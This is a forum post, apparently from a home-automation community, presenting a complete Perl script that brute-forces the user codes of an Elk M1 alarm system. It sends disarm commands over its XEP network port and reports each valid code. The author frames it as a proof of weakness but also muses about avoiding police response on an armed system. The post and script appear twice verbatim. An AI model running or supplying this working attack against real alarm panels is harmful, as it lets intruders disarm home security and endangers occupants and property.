sda
Active Member
A week or so ago there was a post about the XEP security, and which commands required a user code. Very few. But interestingly enough, some of those commands respond and tell you if the user code is valid. See where I'm headed?
Sorry about the line spacing. I pasted the .pl file into the post editor and it double spaced everything.
# elk brute force attack
# Find valid user codes by trying to disarm the system.
# The system doesn't need to be "armed", in fact, it shouldn't
# because of the problem below.
#
# So what use is this? Not much, except it proves that if somebody
# can get a connection to your network, they can hack your M1.
#
# When testing this, the M1 would spuriously "short" a random zone
# 0AZC050B00BB (zone 50, violated "short")
# No real rhyme or reason, contact, motions, glass breaks, but typically
# they were one of the first 2 or 3 zones on the expander
# (17,18,19,33,34,35,49,50,51,65,66,67)
# Never had any trouble with those zones before, and they only "short"
# when running this code. Yeah, I know its hard to believe.
#
# If your were trying to attack an armed system, a shorted zone would
# trip the alarm and the PO-lice might show up - can't have that!
#
# I guessed this problem was occuring because the M1 serial port was
# being flooded from the XEP.
# I tried adding some delays between each test, and a larger delay after
# every 100 codes. No Joy. (the delays are commented out now)
# Experiment and see what happens on your M1.
#
# Without delays, it takes 15 minutes to run through all 10K 4 digit codes.
#
# This was developed with Strawberry Perl 5.18 on Windows.
# It doesn't use any Windows specific constructs, so it should
# be portable to any platform.
use strict;
use warnings;
use IO::Socket::INET;
use Time::HiRes qw ( usleep );
my $xep_ip = '172.16.1.199';
my $xep_port = 2101;
my $usercode_begin = 0000;
my $usercode_end = 9999;
my $debug = 0;
my $count;
my $data;
my $xep;
my $temp;
my $usercode;
my $usernum;
# connect to the xep
$xep = new IO::Socket::INET (
PeerHost => $xep_ip,
PeerPort => $xep_port,
Proto => 'tcp',
);
$| = 1; # unbuffered output
$count = 0;
for ($usercode=$usercode_begin; $usercode<=$usercode_end; $usercode++) {
#print "usercode $usercode\n" if $debug;
printinfo("progress; usercode=$usercode") if ($count == 0);
# 6 digits
$temp = "000000$usercode";
$temp = substr($temp,length($temp)-6,6);
# disarm
$data = "a01" . $temp . "00";
# prepend length
$data = sprintf("%02X",length($data)+2) . $data;
# append checksum
$data = $data . xep_checksum($data);
again:
print ">>> $data\n" if $debug;
# send to xep
print $xep "$data\n";
my $timenow;
$timenow = time;
# get result (IC)
$data = "00??";
while (substr($data,2,2) ne "IC") {
# read from xep
$data = (<$xep>);
$data =~ s/\r//g;
$data =~ s/\n//g;
print "<<< $data\n" if $debug;
# skip heartbeats
next if (substr($data,2,2) eq "XK");
printinfo("data=$data") if (substr($data,2,2) ne "IC");
# over a minute since the last send to xep and no IC packet
if (time > $timenow+60) {
printinfo("stalled");
$debug = 1;
goto again;
}
} # while $data<>IC
# user number
$usernum = substr($data,16,3);
# valid
if ($usernum ne "000") {
printinfo("*** user number $usernum is $usercode ***");
}
# print progress every 100 codes
$count++;
# see comments at top
#sleep(15) if ($count == 100);
$count = 0 if ($count == 100);
# see comments at top
#usleep(333333); # 1/3 sec
} # for $usercode
printinfo("progress, usercode=$usercode_end");
# calculate xep checksum
sub xep_checksum {
my $str = shift;
my $cc;
my $len;
my $x;
$cc = 0;
$len = length($str);
for ($x=0; $x<$len; $x++) {
$cc += ord(substr($str,$x,1));
}
# two's complement of lower 8 bits
$cc = (($cc & 255) ^ 0xff) + 1;
return sprintf("%02X",$cc);
} # xep_checksum()
sub printinfo {
my $msg = shift;
print NowX() . "; $msg\n";
}
# current date/time as yyyy/mm/dd hh:mm:ss
sub NowX {
my $dt = Now();
return
substr($dt,0,4) . "/" . substr($dt,4,2) . "/" . substr($dt,6,2) .
" " .
substr($dt,8,2) . ":" . substr($dt,10,2) . ":" . substr($dt,12,2);
}
# current date/time as yyyymmddhhmmss
sub Now {
my $sec;
my $min;
my $hour;
my $day;
my $month;
my $year;
($sec,$min,$hour,$day,$month,$year) = localtime(time);
$month++;
$year+=1900;
$sec = "0$sec" if ($sec < 10);
$min = "0$min" if ($min < 10);
$hour = "0$hour" if ($hour < 10);
$day = "0$day" if ($day < 10);
$month = "0$month" if ($month < 10);
return "$year$month$day$hour$min$sec";
}
Sorry about the line spacing. I pasted the .pl file into the post editor and it double spaced everything.
# elk brute force attack
# Find valid user codes by trying to disarm the system.
# The system doesn't need to be "armed", in fact, it shouldn't
# because of the problem below.
#
# So what use is this? Not much, except it proves that if somebody
# can get a connection to your network, they can hack your M1.
#
# When testing this, the M1 would spuriously "short" a random zone
# 0AZC050B00BB (zone 50, violated "short")
# No real rhyme or reason, contact, motions, glass breaks, but typically
# they were one of the first 2 or 3 zones on the expander
# (17,18,19,33,34,35,49,50,51,65,66,67)
# Never had any trouble with those zones before, and they only "short"
# when running this code. Yeah, I know its hard to believe.
#
# If your were trying to attack an armed system, a shorted zone would
# trip the alarm and the PO-lice might show up - can't have that!
#
# I guessed this problem was occuring because the M1 serial port was
# being flooded from the XEP.
# I tried adding some delays between each test, and a larger delay after
# every 100 codes. No Joy. (the delays are commented out now)
# Experiment and see what happens on your M1.
#
# Without delays, it takes 15 minutes to run through all 10K 4 digit codes.
#
# This was developed with Strawberry Perl 5.18 on Windows.
# It doesn't use any Windows specific constructs, so it should
# be portable to any platform.
use strict;
use warnings;
use IO::Socket::INET;
use Time::HiRes qw ( usleep );
my $xep_ip = '172.16.1.199';
my $xep_port = 2101;
my $usercode_begin = 0000;
my $usercode_end = 9999;
my $debug = 0;
my $count;
my $data;
my $xep;
my $temp;
my $usercode;
my $usernum;
# connect to the xep
$xep = new IO::Socket::INET (
PeerHost => $xep_ip,
PeerPort => $xep_port,
Proto => 'tcp',
);
$| = 1; # unbuffered output
$count = 0;
for ($usercode=$usercode_begin; $usercode<=$usercode_end; $usercode++) {
#print "usercode $usercode\n" if $debug;
printinfo("progress; usercode=$usercode") if ($count == 0);
# 6 digits
$temp = "000000$usercode";
$temp = substr($temp,length($temp)-6,6);
# disarm
$data = "a01" . $temp . "00";
# prepend length
$data = sprintf("%02X",length($data)+2) . $data;
# append checksum
$data = $data . xep_checksum($data);
again:
print ">>> $data\n" if $debug;
# send to xep
print $xep "$data\n";
my $timenow;
$timenow = time;
# get result (IC)
$data = "00??";
while (substr($data,2,2) ne "IC") {
# read from xep
$data = (<$xep>);
$data =~ s/\r//g;
$data =~ s/\n//g;
print "<<< $data\n" if $debug;
# skip heartbeats
next if (substr($data,2,2) eq "XK");
printinfo("data=$data") if (substr($data,2,2) ne "IC");
# over a minute since the last send to xep and no IC packet
if (time > $timenow+60) {
printinfo("stalled");
$debug = 1;
goto again;
}
} # while $data<>IC
# user number
$usernum = substr($data,16,3);
# valid
if ($usernum ne "000") {
printinfo("*** user number $usernum is $usercode ***");
}
# print progress every 100 codes
$count++;
# see comments at top
#sleep(15) if ($count == 100);
$count = 0 if ($count == 100);
# see comments at top
#usleep(333333); # 1/3 sec
} # for $usercode
printinfo("progress, usercode=$usercode_end");
# calculate xep checksum
sub xep_checksum {
my $str = shift;
my $cc;
my $len;
my $x;
$cc = 0;
$len = length($str);
for ($x=0; $x<$len; $x++) {
$cc += ord(substr($str,$x,1));
}
# two's complement of lower 8 bits
$cc = (($cc & 255) ^ 0xff) + 1;
return sprintf("%02X",$cc);
} # xep_checksum()
sub printinfo {
my $msg = shift;
print NowX() . "; $msg\n";
}
# current date/time as yyyy/mm/dd hh:mm:ss
sub NowX {
my $dt = Now();
return
substr($dt,0,4) . "/" . substr($dt,4,2) . "/" . substr($dt,6,2) .
" " .
substr($dt,8,2) . ":" . substr($dt,10,2) . ":" . substr($dt,12,2);
}
# current date/time as yyyymmddhhmmss
sub Now {
my $sec;
my $min;
my $hour;
my $day;
my $month;
my $year;
($sec,$min,$hour,$day,$month,$year) = localtime(time);
$month++;
$year+=1900;
$sec = "0$sec" if ($sec < 10);
$min = "0$min" if ($min < 10);
$hour = "0$hour" if ($hour < 10);
$day = "0$day" if ($day < 10);
$month = "0$month" if ($month < 10);
return "$year$month$day$hour$min$sec";
}